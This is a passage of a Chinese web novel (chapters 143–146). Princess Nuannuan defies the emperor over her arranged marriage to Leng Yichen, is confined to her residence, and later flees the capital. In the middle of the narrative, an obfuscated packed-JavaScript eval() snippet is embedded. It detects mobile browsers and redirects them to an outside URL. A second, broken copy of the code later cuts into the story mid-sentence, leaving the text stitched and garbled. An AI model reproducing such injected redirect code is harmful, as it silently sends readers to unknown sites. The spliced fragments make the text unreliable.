果然,二人在城郊刚道别完,程旷就赶了上来,暖暖见那程旷也是痴情一片,不便打扰二人,乘车离开。 刚到公主府,便见侍女在门口焦急地等候:“回禀公主,传旨的中官已等候多时。” 她深吸一口气,该来的总会来,是到做个了结的时候了。 143. 愁心将何诉 天色越来越沉,暖暖戴着着繁复的头饰,穿着厚重的吉服,一步一步踏在梁宫的青石路上。 她跟随传旨的中官进入太极殿时,已是午时,殿内已备着她喜欢的菜肴佳酿,暖暖记得这两个坛子,是叶皓出征前拿出的那两坛。 大殿内一如既往地庄严肃穆,叶皓伏于书案上奋笔疾书,他要趁着过年期间朝臣们休假,草拟出人事任免,对朝堂进行一次大换血。 右项宣相良老奸巨猾,在朝中根基稳固,铲除杜家一党后,叶皓无直接证据来处置他,只得从旁枝末节入手,一点点削弱其势力。 此次在百高一战中,终于找到了他通敌叛国的证据,真相大白于天下,朝臣们也终于理解了帝王对此战坚决的态度,一时间百官归心,朝堂上下空前团结。 但是也不能被一时的胜利蒙蔽双眼,该惩治的人依旧要惩治,叶皓这次是下了决心,要肃清隐患,留朝堂一片海晏河清。 对于暖暖的与长风的事,他承认是他冲动了,没有顾虑到暖暖的感受,归来之前他还笃定暖暖会理解、会同意,但就现在就她的态度来看,情况并非想象的那般。 也不知这二人到底经历了什么,长风对暖暖有愧疚,不敢去见她,心病难医,伤势总是不见好。对此,叶皓十分无奈,他这师弟哪里都好,只是缺乏自信这一点,真让人头大。 暖暖也是避而不见,他借长公主的由头去请了她一次,却被她毫不犹豫地拒绝,可见这次她是真的生气了,但这样下去也不是个办法,只能用圣旨将她召进宫来。 但见她一身吉服,规矩叩拜的样子,他心里多少还是有些发慌,在他这个哥哥面前,她何曾这样过。 “起来吧,这里没有外人。”叶皓走下龙椅,想亲自扶起她。 “谢陛下!”暖暖叩首躲过他的伸过来的手,双眸下垂,恭顺中却带着不情不愿。 叶皓尴尬地收回手,轻咳了两声,神色依旧温和:“饿了吧,来陪我用午膳。” “不知今日陛下召见臣,所为何事?”暖暖言语间带着冷漠与疏离,仿佛她们之间只是君臣关系。 “没有事就不能见你吗?” 暖暖深吸一口气,叩了一首:“陛下既已见了臣,若无其它的事,臣有一事,请陛下应允。” “何事?”叶皓心中忐忑。 “请陛下收回成命,取消臣与燕山侯的婚约。” “为何?暖暖,我早就说过,希望你们再续前缘,你也并未拒绝过。” 暖暖觉得有些可笑,不否认就代表接受吗?为什么他要将她与冷逸尘捏在一起?她态度坚决一字一顿地说道:“臣叶青,无前缘。” 叶皓已是十分不悦,自登基以来,还无人敢如此违逆他的意思,但仍耐着性子说道:“暖暖,不要任性,你心里明明……” “任性”二字,犹如一颗火星掉入油锅内,瞬间燃起熊熊烈火,这一路上暖暖一再告诫自己不要生气,心平气和与哥哥讲清楚,将婚事退掉离开京城,可现在她却一点也控不住自己。 她抬起头看着叶皓,眼中尽是失望与委屈,但随即被倔强替代,之后她猛然站起身来,咬着牙说道:“我任性?我不过是你们手中的猫儿狗儿,你们想怎么安排就怎么安排,怎敢有脾气、耍性子!这是我与他的事,你为什么要管?他既然已经死了,为什么还要回来?他一次又一次地不告而别,难道我就只能在原地等待吗?我就不能有自己的选择吗?” 一连串的质问,让叶皓哑口无言,未料到她会有这么大的反应,气氛变得冰冷,他背过手去侧过身体,不敢与她的目光对视。 这些话,耗尽了暖暖全身的力气,她两手攥成拳头,克制着翻涌的怒气,深吸一口气,继续说道:“他是我的缘也是我的劫,我替他挡那一刀算是还了他的情……四哥,我最后再叫你一声哥哥,你在重峪关救我一命,遗诏之事算我的报答,此后我们两清。” 两清?叶皓愣住,不可思议的看向她,她眸光中的寒意袭来,将他包裹,惧怕从自心底而生。 下山以后,一路走到现在,无论局势多么危险多么紧张,他从来没怕过,而这一番亲情的决裂,让他不知所措,不知该如何解释,在他自己看来,解释是在找借口,他与长风在不知不觉间,竟将她伤得如此之深。 暖暖走到桌边倒了一杯酒,举在眼前倒掉:“请陛下降旨,平阳公主叶青忤逆圣意,褫夺公主封号,降为庶民……” “金樽酒空,此生缘尽。” 此言犹如冰刃,寒冷且尖锐,她放下酒杯,将怀中锦囊丢入炭盆,决绝地转身离去。 走到大殿门口时,只听身后传来花盆碎裂之声,帝王之怒令她心中战兢,身躯为之一震,她驻足,但却没有回头,挺了挺脊梁,坚定地走出了大殿。 身上的吉服如同枷锁一般,压得她难以喘息,待脱离了叶皓的视线,脚下一软直直地摔下台阶去。 冰绡闻声上前却也晚了一步,看公主眼神呆滞,轻轻问道:“公主,摔到哪里了?” 暖暖摇摇头,此刻她全身麻木,犹如被抽掉了三魂七魄,只剩下一具躯壳,感受不到任何疼痛,她想站起来,却没有一点力气,艰难地嗫喏道:“回家。” 当然,她也没有注意到季萧也在身边。 冰绡俯身将她抱起,只觉一团冰冷,公主的身体在瑟瑟发抖。 二人离开,留下季萧一人在风中伫立,他对刚才冰绡的一通指责感到委屈。 此前见冰绡随公主到来,在殿外等候,便上前来打招呼,未料冰绡上下打量了他一遍,言语间带着些讥讽:“怪不得背叛旧主,原来是攀了高枝去!” 季萧想,或是他的这身都尉服饰惹得冰绡的怀疑,西境开战后,陛下命他跟随现在的凌将军,凌将军却任他为都尉,委以重任。 这不仅仅是职位与权利的变化,而是身份的转变,此前他是侍卫,即便是在绣衣卫中身居高位,也从未有过非分之想,更别提有朝一日会被人称为副将军。 他自认对陛下问心无愧,不知冰绡口中的“背主”一词是从何说起,辩解道:“我奉陛下之命,护卫凌将军周全。” 竟然是为他! 冰绡有一瞬的诧异,但随即明白过来,只怕他们只见早已暗通款曲,这一点是冰绡没有想到的。 公主已告知她凌将军就是崇宁王,如此说来,是陛下授意季萧将崇宁王带回来的,这场阴谋中,只有公主不知情。 她为公主不平,言语间不客气:“你将公主置于祁囯而不顾,难道不是背主吗?公主待你不薄,你竟然如此行事,此人将公主害得还不够吗?” “陛下和将军也是为公主着想……” 季萧没有继续说下去,他自己都觉得这辩驳苍白无力,并且他没有资格去评判主上如何作为,紧接着就见公主摔在了台阶上,看公主的样子是伤心极了。 冰绡狠狠地剜了他一眼,似乎在说:看吧!他们只会伤害公主。 二人离开后,季萧一拍脑袋,突然想到怕不是公主的旧疾复发了吧,于是立即转身前去殿内回禀。 看守殿门的中官见他神色有些焦急,知他是陛下近臣,且公主已出去,便未阻拦。 他进入殿内未见人影,却听见里间传来说话声,进到里间,只见将军瘫坐在地,以手撑地,面前是碎裂的花盆,泥土散落一地,被花瓣染上了红色,可仔细一看那红色,分明是鲜血! 而陛下俯身,试图扶他起来。 他顾不得行礼快步上前,拿出一颗药丸塞入将军口中,将军这伤不仅有外伤,还有内伤,内伤的起因与公主一致。 这药丸是将军受伤后,他派人去 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凌将军!原来他就是凌将军! 怪不得他从未出现在朝堂之上,怪不得他执意要尚公主,难道他真的是为了暖暖,放弃了自己的家国? 这究竟是怎么一回事?叶均伫立良久未得其解,直到中官提醒才回过神来,看着中官匆匆离去,他理了理衣衫进入殿内。 殿内叶皓正以手扶额、愁眉紧锁,见了叶均进来,问道:“三哥,可有事?正好,我拟了几个人的任免,你看看。” 叶均并未接,不看上面的内容,他也知道要罢免谁、提拔谁,但如此行事会牵扯国家根基,现在也并不是个好时机,眼下那个人才是个烫手的山药。 他神色严峻:“先不说这个,这凌将军,究竟是怎么回事?” “他是……”叶皓几乎要将实情和盘托出,但最终只说了一句话:“他现在是燕山侯凌长风。” “陛下可知,此事一旦被祁囯发现,会有什么后果?他来这里会不会有什么阴谋,对我大梁不利!” 叶皓放下任免书,缓缓说道:“三哥,他放弃身份的原因不便对外人说,但他留下来确实是为暖暖。” 外人? 叶均心中有些发凉,看着眼前的人愈发觉得陌生,不论此人是信王还是陛下,二人之间从来都是开诚布公、没有隐瞒,而大半年未见,自己竟成了外人。 “外人?”叶均冷笑一声:“臣竟不知已经变成的陛下的外人……想必暖暖也是吧!如今他想尚公主,陛下就答应他,明日他想要大梁的江山,陛下是不是也会给他?” “三哥!这其中是有缘故的……”叶皓陡然起身,想解释却又不知从何处说起。 叶均跪拜:“臣早就猜测出他与陛下是旧交,但还请陛下三思,不能因私情而误了国家之事。先帝对陛下寄予厚望,才将江山托付给陛下,希望陛下不要令先帝失望。还有,臣年长公主十余岁,看着她长大,臣自认算得上她的半个父亲。这门婚事,臣不同意,还望陛下收回成命!” 叶均说罢再叩首,之后起身倒退两步离开了太极殿。 这一席话,君臣分明,令叶皓脊背发凉,这是决裂吗?他有些站不稳,看着身后的龙椅,却没有再坐回去,这原本就不属于他。 一个时辰之内,兄长与妹妹都对他说了决绝之言,饶是再坚强的人也不能不为之所动。 有中官进来换炭火,叶皓走到门口,空中飘着鹅毛般的雪花,天地已是一片茫然,一行脚印向远处延伸,那是叶均留下的。 伸手去接雪花,奈何流风回雪,一片都不能落入掌心,他将手紧紧握成拳头,依旧坚定着心中的想法。 他相信,有一天,他们会理解自己的做法与选择。 144. 此曲悲且长 漫天风雪,将视线全部遮挡,寒冷令暖暖在马车内缩成一团,好不容易到了公主府,等待她的却是手持圣旨的中官。 她不知自己是如何接下圣旨,又是如何躺在寝殿床上的,只有中官的话不断在耳边徘徊,每一个字都犹如一把尖刀,狠狠地从她心上划过。 “平阳公主叶青,出言不逊、违背圣意,责令其禁足公主府,静思己过,无诏不得出。” 好一个“静思己过”!可她有什么错? 意识陷入深深的混沌之中,她似乎站在一条河流上,见了整个过往,逆流而上,生命也似乎回到了她年幼的时候,母亲与她一起放着纸鸢。 “母亲,纸鸢会飞得比云高吗?” “不会,纸鸢有绳子牵扯着,而云自由自在,想飞多高就飞多高。” “云会飘到哪里?” ”很远很远的地方,那里有高山有流水。” “外面的天下有多大呢?我也想做一朵云,飘到天上去看看……” 母亲没有回应,却是中官尖锐且严肃的声音响起:“……兹有友邻祁,为促邦交之谊,保万民福祉,请与我朝结秦晋之好。皇六女叶岚,柔嘉居质,婉顺有仪,册为昭华公主,允嫁祁国皇四子崇宁王冷逸尘为正妃……” 再接着便是叶均的叮嘱声:“……需谨记自己身份,顾大局,懂分寸,知进退,远是非……以后的路要自己走了……” 声音渐远,视线模糊,风筝消失在乌云中,她回头求助于母亲,可母亲也消失了,院子里空无一人,开始变得陈旧荒凉…… 忽然脚下踩空,跌入水中,刺骨的冰冷横冲直撞地涌入每一个毛孔。 这大概是弱水吧!传言弱水之毒,鸿毛不浮,仙佛难渡。 这世间还有什么值得留恋的呢?她放弃挣扎,任由身体坠入河底,周围一片黑暗,正当要被吞噬之时,一只温热有力的手掌将她牵住,带她走出黑暗。 周围依旧晦暗不明,摇摇曳曳的烛光破碎在黑暗之中,一个身影坐于床边,正握着她的手,她拼命想看清这人是谁,却怎么也看不清楚,可手掌上传来的温度让她感到安心。 她尚有恍惚,只听那个身影小心翼翼地叫了一声“暖暖”,虚无又缥缈。 这声音真是熟悉啊,是他! “冷逸尘……你的伤好了吗?” 暖暖声音沙哑,也不知为何会问出这句话来。 周围渐渐亮起来,是侍女点燃了更多的蜡烛,那身影的面容逐渐清晰起来。 他的确没死,他的确回来了!欣喜与释然落在心底,生出一朵欢喜的花。 知他死讯之后,她对自己与他感情产生怀疑,后来抄经参禅时她才发觉,产生怀疑的原因是她根本没有接受这个事实,在潜意识里,冷逸尘并没有死,而是一如从前,她做了平阳公主叶青,而他归去祁国一切安好。 但这花很快枯萎下去,他与哥哥一起算计了她,她已经决定与他分开了。 “你走!”她完全清醒,将手抽出,声音喑哑且冰冷。 冷逸尘复而捉上她的手,哀求道:“暖暖,对不起……” “冰绡!”暖暖忍着喉咙痛叫了一声。 冰绡立刻明白了公主的意思,对冷逸尘做了个请的动作:“将军,请。” 舒雁却在她身侧拉了拉她的衣角,轻轻摇头示意。 暖暖将这一切看在眼里,胸口似堵了一块石头隐隐作痛,长长呼出一口气,侧过头去闭上了眼睛。 冷逸尘已听出她嗓子不适,只怕她动怒伤身,起身走到了外间。 舒雁上前抚摸她额头,高热已褪,身下的床单被汗水浸湿,于是命人来为公主换衣衫。 暖暖未想舒雁这般审时度势,迁怒于她:“你也出去!” 舒雁觉得委屈,但还是跪在脚踏上,好言道:“奴婢知错,公主您消消气,凌将军是您未婚夫,又救过咱们性命,于情于理也不该如此对待,您回来后接过圣旨就晕了过去,是凌将军抱您进来,又看守了半夜,为此伤口都崩裂了。” “我看你是一点也不知错……”暖暖再难说话,目光落到窗子上,外面一片漆黑,才意识到现在是子夜十分,原十分来睡了这么久。 她浑身无力不想动弹,灭了灯后静静听着外面的动静,这场雪真不小,时不时会有树枝折断的声音传来。 就让这雪一直落吧,不要停! 禁足!呵,禁就禁!有本事关我一辈子! 虽然这样想,但她满是委屈与无奈,泪水止不住地流下,怎么也擦不干,她想不明白怎么就到了这一步? 后半夜中,噩梦折磨着她难以安睡,昏昏沉沉间又开始发热,朦胧中有人喂药给她,之后不停地擦拭额头来降温,凭感觉这个人是冷逸尘,但她已无力去拒绝,只能让他留在寝殿内。 终于熬到天明,热度褪去后才睡沉稳了一些。 冷逸尘见她终于睡得安稳了,为她理了理耳边的碎发后,打算去厨房看看膳食。 刚到廊下便见几个侍女簇拥着一位中年女子迎面走来,众人投过来的目光中皆是疑惑,他猜测这女子应是暖暖的亲眷,于是行了一礼。 女子只是看了他一眼,并未说话,径直向寝殿内走去。 “王妃怎么这么早就过来了?”舒雁见夏萱到来,上前来行礼问安,“雪天路滑,王妃有什么事差人来传话就好。” 夏萱并没有立刻到里间去,而是脱下披风,站在火炉前暖着身子。 “吵成这样,本宫怎能放心地下。”随后她压低声音:“那外男是谁?” 舒雁也同样压低声音:“是凌将军,已在偏殿住下,昨夜照顾了公主一晚,刚刚出去,奴婢知此事不妥,但也不好说什么……” 夏萱若有所思地点点头,又看向里间,“可还睡着?” “褪了热才睡安稳。” 夏萱听完,皱起眉头轻叹一声,待觉得身上暖和了,才轻手轻脚地坐到了床边。 可这动静还是惊扰了暖暖,她睁开眼睛,叫了声“姐姐”,发觉嗓子竟好了许多,想来是服药的缘故。 夏萱拍着她的手:“我都知道了……” 昨日叶均回去,将实情一一告知于她,并承认她的猜测也许没错,陛下的确是变了,得知前因后果,她仔细想了想,反倒觉得赐婚一事情有可原,是她错怪陛下了。 还有陛下对旧友的古道热肠,一点也未变,她似乎又看到了当年那洒脱的少年郎。 紧接着就传来暖暖被禁足的消息,她自是担忧,想着无论如何也要想办法来看看,正当她筹谋之际,陛下身边的中官送来一封书信,上面只用兄弟的口吻,请她去探望平阳公主,这让她更加放心。 于是她一早就踏雪过来,进到内院只见一男子立于廊下,如芝兰玉树,颇为俊朗。 她大为疑惑,怎会有外男在此,全府戒严,他又是怎样进来的?事情未明,她未贸然说什么,只是那男子行礼时她未回应。 现在得知此人就是暖暖的未婚夫,又见他这般痴情,算是放下心来,也不禁赞叹陛下的眼光的确不错。 她劝慰暖暖:“亲兄妹之间,有什么过不去的呢?等能起身了去跟陛下道个歉,陛下会理解的。” 暖暖只觉心累,没有力气解释,但为不让她担心,还是点点头道:“姐姐放心,我没事,只是想睡……” 夏萱见她点头,想她是心中已接受,只不过颜面上怯不开,知多劝也无用,于是说道:“好,你先休息,我回头再来看你。” 之后起身,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114279|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往外走边叮嘱舒雁:“告诉厨房里,公主的汤药膳食要细心些,若服侍得好,本宫有重赏。” 舒雁一一应下。 一行人到了庭中,仍见冷逸尘立在那里,于是夏萱独自上前,主动开口:“本宫不识凌将军,方才多有失礼。” “是在下未曾告知。”冷逸尘的声音中透着些许疲惫。 夏萱见他谦和有礼,甚是满意,想他也曾是祁国嫡出皇子,竟为暖暖放弃了一切,甘到异国屈为人臣,单是这份勇气就不是一般人能做得到的,她心中也为暖暖感到庆幸。 “将军一片痴心令人敬佩,暖暖嫁于你,我也能放心,这两日有劳将军照顾公主了,待公主好转还请将军回府休息。” “是,王妃放心。” 夏萱告辞,走了两步之后回头:“将军有所不知,本宫是公主三嫂,亦是她的表姐,将军该随公主唤本宫一声姐姐……既然将军与公主的缘分未尽,还望将军能够珍惜!” 这话让冷逸尘心中感动,这是对他的认可,多一个人认可他就多一分把握,可后半句话中却隐隐带着些警告,他知道这是对他此前的作为不满。 于是他端正礼:“姐姐放心,此番我定不会辜负公主。” 送走夏萱,冷逸尘捂着胸口轻咳了两声,这两日没时间换药,伤口疼得厉害。 他看着正殿有侍女进出,想必是暖暖已经醒来,估摸着此时他进去又会令她不悦,于是回了偏殿。 正当他自己艰难地给伤口上药时,季萧提着食盒进来。 季萧接过绷带帮他包扎:“将军的伤口又有些红肿,以后可要注意了……这院子看得紧,好说歹说才让我进来,药都凉了。” “无妨。” 冷逸尘端起药碗一饮而尽,与季萧闲谈了几句之后,躺在床上沉沉睡去,他已两日未合眼,真的是累了。 季萧在火炉里加了炭,又检查了门窗后才出门,可出了门就碰见端着药碗的冰绡。 昨日在太极殿,冰绡骂得并不过瘾,正憋得难受,看见季萧忍不住阴阳怪气:“呦,对新主子还真是殷勤,公主病了都没见你问一问。” 季萧冷哼一声:“公主自有驸马照顾,无需我担心!” 冰绡气到翻白眼:“驸马?公主可没同意。” “走着瞧!”季萧说完,得意一笑大步离开。 “你……”冰绡又填一层憋闷,却也无奈,赶紧给公主送药才是正事。 此时舒雁送夏萱回来,与她一同进殿,见公主已坐起身来,甚是欣慰,赶紧送上药碗。 暖暖见冰绡面上有些不快,便问道:“你怎么了?谁欺负你了?” “谁能欺负我?”冰绡虽然这样说,心中却更加气愤,“是季萧那狗东西!” “季萧?他回来了?” “公主可知在燕北季萧为何突然还朝?是因为他那时就背叛了您,昨日他和凌将军就在太极殿,要不怎么能和咱们前后脚到府。” 原来还有这么多事她不知道!暖暖心中冷笑了一声,冷逸尘啊冷逸尘,你的心机还真是深,这么短的时间就让这么多人认可了你,包括舒雁,包括夏萱。 但她没有表露,说道:“说这些还有什么意义……舒雁,我想吃你做的酒酿圆子了。” “是,奴婢这就去!”舒雁高兴地回答,虽说公主受寒发热并不适宜吃酒酿,但是能想吃东西就是好事,少用几个倒也无妨。 待她走后,暖暖屏退侍女对冰绡说道:“你手下还有多少人?可靠得住?” 冰绡不知为何公主为何关心起此事来,一时猜不透她的心思,只如实回答:“还有十人,都是一直跟随公主的侍卫,靠得住。” 暖暖直视她,郑重说道:“我若想离开京城,可做得到?” 145. 回眸见月痕 冰绡闻言心中一惊,才明白公主是有意将舒雁支走,虽然这听起来是不经之谈,但她还是快速盘算着要去哪里、走哪条路,如何避开盘查、逃过追捕,这不是简单的逃跑,她们的“敌人”是陛下,是权利至高无上的天子……但问题回到原点,也是至关重要的一点。 “可以是可以,但公主,我们要如何从这府中出去?” “这件事……我来想办法,陛下不能关我一辈子,你先去准备,去哪里都可以,只要能离开京城。” “是!”冰绡眼中闪过坚定,想都没想就答应下来。 经过去燕北一事,暖暖已完全信任冰绡,而现在也只有这一人能相信,她也不知道离开会要去不哪里,之后会怎样,但现在她只想离开这里。 但冰绡答应得这么痛快,是她没有想到,毕竟现在是在京中,此事难度不小,罪名也不小。 “若有为难,你可以拒绝。” 冰绡跪地叩首:“冰绡惟公主之命是从,绝无二心。” 按说叶皓才是她正经的主上,暖暖有些不解:“为何?” “属下出身卑贱,从来没有人跟我说过女子的手上不要留疤,没人送我簪钗,也没人跟我同食过一块糕点……以后公主去哪里我就去哪里,属下誓死追随公主。” 回想往昔的一幕幕,冰绡眼尾发红,心中苦涩,她父亲是逃兵,进了侍卫营没人看得起她,受人欺辱更是常事。 她明白只有有自己强大了才能让那些人惧怕,于是她苦练功夫,也正因此才被当时的信王殿下看中,之后跟随公主,才开始让她感受到人间温情。 暖暖扶起她,眼中带着几分悲凉,“是我没用,本来许你自由之身,却害你跟我受苦。” "若能让公主脱离苦海,属下万死不辞。 “去吧!” “遵命!”冰绡再叩一首。 暖暖犹豫了一下说道:“至于舒雁,先不要告诉她,等出发时一并带走。” “是……”冰绡答应下来,她知公主是担心舒雁作为掌事侍女会受到责罚,但她对舒雁却另有打算, 窗外天空阴沉,风卷着雪花一阵阵刮过,暖暖看着树枝晃动,思考自己为什么会突然做这个决定。 也许叶皓已经意识到错误,所以才会派夏萱来说和,可夏萱带来的意思中并没有歉意,从始至终,她想要的只是一个歉意,而他们师兄弟二人谁也没有真心做到。 她只想自由地去活,自由地去爱,她的人生能再被安排,所以她必须离开。 酒酿圆子端来,她只尝了一个,她要快快好起来。 因服药的缘故,白日里一直睡着,晚间便无了睡意,一直在想要如何让叶皓解了她的禁足。 难道真的要派人去传话,向他服软道歉吗?不可能!为什么要她这个没有错的先道歉?但不道歉又能怎么办? 焦虑使他觉得烦躁,感觉到一阵阵闷热,想是暖炉太旺又未开窗户的缘故,她想命侍女来减些炭火却发现房中空无一人。 她轻轻叹了口气,近来都是冷逸尘看守,侍女们都很识趣,不在寝殿内逗留,她起身披上披风,推开寝殿的门,凉意袭来顿时舒爽了许多。 乌云已散,一弯蛾眉月高悬于苍穹之中,月光虽不明亮,但也如水一般洒在铺满雪的庭院内,映出斑驳的树影。 一个人影站在树影间,双手合十抬头望月,似乎是在许着什么愿望。 暖暖知道那是冷逸尘,但并不想与他说话,转身就走,却未发觉身边的竹子勾住了她的披风。 竹子已被雪压弯,披风的牵动致使积雪掉落,平衡被打破,竹竿回弹将积雪扬起,瞬间雪沫纷飞。 她下意识紧闭双眼,伸手去遮挡头部,却被人揽进怀中,用披风遮住,雪才没有落到她脖颈间。 这熟悉的感觉,不用睁眼也知道是谁,而她竟还习惯性地往这怀中钻了钻,当她意识到这一点时,头顶的斗篷已拿开。 她轻轻挣扎了一下,想从那怀中出来,可揽在她背后的手只是减了力道,却未松开。 “放开我……” 她抬头正对那一双清泉般的眸子,这双眸依旧如清风、如朗月,只是在深处浮动着沉沉的忧郁。 这让她没办法再说下去,一股莫名的疼痛在心底翻涌,很快向上蓄到了眼眶中。 这双眼睛让她沦陷,她不得不承认,她还爱他。 但她不能就这样认输,于是暗暗深吸一口气,强撑起伪装。 或是感知到她的情绪,那眸中柔和的波光渐渐汹涌起来,透出毫不遮掩的爱意。 这目光让暖暖多日来的倔强与不甘瞬间瓦解,她不敢再直视,快速侧过头去眨了几下眼睛,没有让泪水滴落。 冷逸尘俯身将她打横抱起,她又挣扎起来:“放开!” “别动,我的伤还没好。”冷逸尘眉头微蹙,轻哼了一声。 暖暖感受到他身躯的颤抖,便也不再挣扎。 冷逸尘将她放到床上,收起披风盖好被子,又握着她的手为她温暖着,半跪在脚踏上,稍稍仰头看着她。 “手这么冷,还乱跑……”他言语间似是责备,却温柔至极。 真是拿他没办法,这温柔刀最为致命,暖暖似乎听到了自己外壳破碎的声音。 “为什么骗我?”她终于问出了这句话。 “暖暖,对不起,是我的错,可我没有办法,我不能让你留在雁北,不能再让你受伤害,所以我选择了脱身,但没想到会伤得那么重,我怕你担忧便隐瞒了消息。后来要为师门复仇也不是一件易事,我若身死,只怕会再让你伤心一遍,索性就一错到底。” “我……没有担忧……”暖暖嘴上依旧倔强,但心中只剩下心疼,心疼他受了苦、受了伤,心疼他一个人承受了这么多。 雾气在她眼中弥漫开,睫毛轻轻一动,豆大泪水便低落下来。 冷逸尘抬手擦掉她的泪,继续说道:“我和师兄一起研习了太一玄门剑法,本打算独自去复仇,可师兄却不同意,最后还是证明他是对的,我中了暗招又被剑气反噬,若无师兄,我必死无疑。” 这话令暖暖心惊,不自觉地握紧了他的手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正说话间,冷逸尘手持一枝梅花进来,亲手插进了花瓶中摆在床头。 “花园里的梅花开了,先剪一支来给你看,等你病好了咱们再去园中观赏。” 冰绡见凌将军一脸笑意,便也猜出三分缘由,担忧地对暖暖行了一礼,悄悄退了出去。 暖暖看着梅花,心情十分复杂,缓缓说道:“好……花开了春天就要来了,听闻男女成婚前不宜见面,凌将军是否要回府筹备一下三书六礼?” 冷逸尘手中一顿,抬头思考着这句话,确定没有听错后,问道:“你……是认真的?” 暖暖微微点头。 “好,听你的……等你好了我就回去……”冷逸尘语无伦次,手握成拳头又松开,激动得不知如何是好。 他看着眼前之人,她眼中依旧是喜悦,可这喜悦却有些虚幻,让人抓不住,但他被冲昏了头脑,全然没有注意到“凌将军”这个称呼。 暖暖怕自己反悔,轻轻拥抱了他一下,“我已经好了,可婚礼好像要准备很多……” “好,我现在就回去。”冷逸尘在她额头上一吻,“等我来迎娶你,这次我一定不会食言!” 看着他迈着轻快的脚步离开寝殿,暖暖心头一酸,对不起了冷逸尘,这次是我要食言了。 146. 怅恨轻离别 果不其然,次日午前便有中官来传旨,圣旨内容很长,但主要内容只有两点:解除禁足和赏赐清单。 清单很长很长,众人听着逐渐惊讶起来,这数量远远超过一位公主该有的赏赐,甚至越过了亲王。 暖暖认真的听着,直到圣旨读完,她担忧的婚期没提及,想要的道歉也没有出现。 她已经原谅了冷逸尘,那么只要叶皓有一点点道歉的意思,她都会放下从前,愿意与他们重新开始。 但是,并没有! 中官见公主不动,将圣旨合拢,笑道:“公主接旨吧! 暖暖抱着最后一丝希望问道:“陛下可还有别的话?” 难道公主不满意?中官不免诧异,打圆场道:“陛下待公主亲厚,这样的殊荣,在我朝可是无先例的。” 心中最后一丝希望破灭,她深深吸了一口气,双手举过头顶,挺直脊梁高声道:“臣平阳,接旨!” 在一片贺喜声中,舒雁应对着打赏之事,暖暖却从热闹中抽身,冰绡看出她的心事也跟着她进了寝殿。 “公主,是否还走?” “走!”暖暖斩钉截铁。 二人一番商议,决定明日行动,先借着拜三清的由头出城,在三清观更换衣衫,从后门骑马到乡下暂避,同时由舒雁装作公主模样驾车去维扬,事情败露后,预计会有两种情况:第一,相信舒雁的话,搜查维扬;第二,不信舒雁的话,全国追捕。 若是第一种情况,她们则会等维扬安全后,再去维扬绣衣使驻点暂居,所谓“灯下黑”正是如此;若是第二种情况,那就是大海捞针,她们总会有时间想办法避开。 但全国追捕这件事,暖暖并不认同,她是公主不是逃犯,事关她的名声和清誉,叶皓决计不会明着查。 总之此番计划还算周密,事情也按照第一种情况发展,半个月之后她们顺利地到达维扬,至于舒雁,也的确没有受到重罚,因为这次她又是被绑在了马车内。 这次出逃,暖暖并没有提心吊胆的感觉,反而有种复仇的快感,她有恃无恐,即便被捉回去,叶皓也不会将她怎么样。 冰绡却始终暗暗忧心,总觉得事情有些太过顺利,于是在绣衣卫驻点居住三日后,她们搬到到了另一处住所,留下两名绣衣使伪装成厨娘和马夫,其余绣衣使安排到维扬各处,探查消息小心防范。 这处居所不大,周围不是富庶小康人家,多是些贫苦手工人居住,在这里衣食住行上虽粗鄙些,但隐蔽于此,不易被人发现,暖暖也迁就无挑剔。 如此,风平浪静地过了一个月,天气暖和起来,又到了万艳竞春之时。 这日,暖暖坐在家门口的一个小摊位上吃着梅花糕,看着嫩黄的柳枝拂着铺满花瓣的水面,此时的她身着一身妃色布衣,不施粉黛,不配钗环,与市井间的小女子无甚两样。 这段时间她过得并不如想象中的那般舒畅,心中总似有堵着一块石头似的,害怕叶皓找来,但又有些希望叶皓能找来,痛快地与他大吵一架,总好过这日日煎熬。 京中多日没有一点消息,这令她不快,她咬下一大口糕点,使劲咽下去,似乎想将胸口的石头一并吞下,却不小心被噎着,此时恰好面前的茶水饮尽了,她只能低头拍着胸口。 一碗姜蜜饮送及时送上,她正想着这店家倒是有眼力见,伸手去接时,却才发现这手、这衣袖的材质不是的摊主。 她抬头,一张笑靥撞入眼眸。 这面容让她惊喜,惊喜之余才感到慌张,四下看了看问道:“你怎么……在这里?” 冷逸尘坐下,拿起一块梅花糕:“放心,只有我自己。” 暖暖拍拍手上的残渣,一副任由摆布的模样:“你打算将我怎么办吧!” 冷逸尘咬了一口糕点,徐徐咽下,笑道:“我能把你怎么样?” 就知道是这样,冷逸尘这不急不躁的样子让她发泄不了脾气,不过暖暖还是好奇,“你是怎么找到我的?” “走,边走边说!” 暖暖知道此处人多,便跟着他沿着河岸漫步,她十分不解,仔细回忆到底是哪处露了破绽,竟让他能寻找到。 忽然手被牢牢地牵住,可这是在大街上,她又惊又羞想挣脱开来,可冷逸尘的手却握得紧实,无奈只得让他牵着自己走。 “快说,你是怎么找到我的?” “我说是偶然遇见的,你信吗?” 暖暖摇摇头。 冷逸尘见她面色微微发红,再衬上这妃色的衣裙,宛如杏花一般,不忍心再逗她,将她离开后的事娓娓道来。 那日午前,冷逸尘到公主府去,才知暖暖去拜三清,等到午后也不见人归,便派季萧去打探,季萧到观中得知公主车架去向,立即兵分两路,一路传消息冷逸尘,一路去追车架。 冷逸尘收到消息后顿觉天塌地陷,立即骑马去追,快出城时才想起叶皓来,于是调转马头向梁宫奔去。 到达太极殿,不等中官回禀便闯了进去,叶皓从未见他这般模样,心中十分诧异,得知原委后火冒三丈。 “别管她,让她走,惯得她无法无天了!”叶皓说着摔了几本奏折来泄愤。 冷逸尘立即跪下求道:“可她自己会有危险。” 叶皓叫来韦素,一番吩咐,韦素领命而去。 